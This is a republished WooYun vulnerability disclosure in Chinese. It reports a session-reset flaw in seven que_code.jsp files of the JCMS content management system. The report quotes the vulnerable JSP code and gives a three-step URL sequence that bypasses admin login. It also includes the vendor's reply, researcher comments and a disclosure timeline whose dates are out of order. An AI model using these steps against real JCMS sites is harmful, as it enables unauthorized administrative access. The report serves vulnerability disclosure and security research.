jcms系统7处session重置导致getshell

admin 2017年4月20日21:42:16评论663 views字数 229阅读0分45秒阅读模式
摘要

2016-03-01: 细节已通知厂商并且等待厂商处理中
2016-03-04: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2016-04-28: 细节向核心白帽子及相关领域专家公开
2016-05-08: 细节向普通白帽子公开
2016-05-18: 细节向实习白帽子公开
2015-12-26: 细节向公众公开

漏洞概要 关注数(59) 关注此漏洞

缺陷编号: WooYun-2016-179791

漏洞标题: jcms系统7处session重置导致getshell jcms系统7处session重置导致getshell

相关厂商: 南京大汉网络有限公司

漏洞作者: 路人甲

提交时间: 2016-03-01 15:48

公开时间: 2015-12-26 16:56

漏洞类型: 非授权访问/权限绕过

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

4人收藏


漏洞详情

披露状态:

2016-03-01: 细节已通知厂商并且等待厂商处理中
2016-03-04: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-28: 细节向核心白帽子及相关领域专家公开
2016-05-08: 细节向普通白帽子公开
2016-05-18: 细节向实习白帽子公开
2015-12-26: 细节向公众公开

简要描述:

详细说明:

接上一处:http://**.**.**.**/bugs/wooyun-2016-0178011

发现在以下目录当中均存在相似session重置的代码

我就不分开一个个提交了,一次性全部提交完,方便厂商确认和整改

code 区域
< import="jcms.util.ValidateCode"%>
<%
String sessionId = request.getParameter("sessionid");
out.clear();
ValidateCode code1 = new ValidateCode();
if(sessionId==null)
sessionId = "";
code1.setSessionName(sessionId);
code1.getValidateCode(request,response);
%>

7处如下:

jcms/jcms_files/jcms1/web1/site/module/messagebook/que_code.jsp

jcms/jcms_files/jcms1/web1/site/module/webuser/que_code.jsp

/jcms/jcms_files/jcms1/web1/site/module/survey/que_code.jsp

/jcms/jcms_files/jcms1/web1/site/module/idea/que_code.jsp

/jcms/jcms_files/jcms1/web1/site/module/comment/que_code.jsp

jcms/jcms_files/jcms1/web1/site/module/voting/que_code.jsp

/jcms/jcms_files/jcms1/web1/site/module/reconsider/que_code.jsp

利用过程和前面一样

String sessionId = request.getParameter("sessionid");

直接通过sessionid获取值

code1.setSessionName(sessionId);

然后又直接设置session

而在我们的jcms中的setup(后台管理制作端)中又只判断其中cookie_username是否为空 不为空即就登录

利用过程

1、**.**.**.**/jcms/setup/opr_licenceinfo.jsp(如果后台未更改或者未设置权限提交下)

2、访问**.**.**.**/jcms/jcms_files/jcms1/web1/site/module/oss/que_code.jsp?sessionid=cookie_username

3、再次访问**.**.**.**/jcms/setup/opr_licenceinfo.jsp即可

提供5个测试案例

http://**.**.**.**

http://**.**.**.**

http://**.**.**.**

**.**.**.**

**.**.**.**:8080

**.**.**.**

以上有些案例可能由于上一枚漏洞的发布,已经对某些文件进行了限制

我们选取选取其中做演示

**.**.**.**

jcms系统7处session重置导致getshell

jcms系统7处session重置导致getshell

jcms系统7处session重置导致getshell

漏洞证明:

**.**.**.**

jcms系统7处session重置导致getshell

jcms系统7处session重置导致getshell

jcms系统7处session重置导致getshell

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-12-26 16:56

厂商回复:

此问题与上一次的问题一样,已修复了。
谢谢您对我司的支持。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-03-01 16:59 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

    2

    666

  2. 2016-03-01 17:27 | zzR jcms系统7处session重置导致getshell ( 核心白帽子 | Rank:1408 漏洞数:127 | 东方红**联盟欢迎你-0-)

    2

    要啥自行车!

  3. 2016-03-01 20:19 | hkcs ( 实习白帽子 | Rank:56 漏洞数:9 | 只是路过)

    1

    老虎皮,session重置导致getshell

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin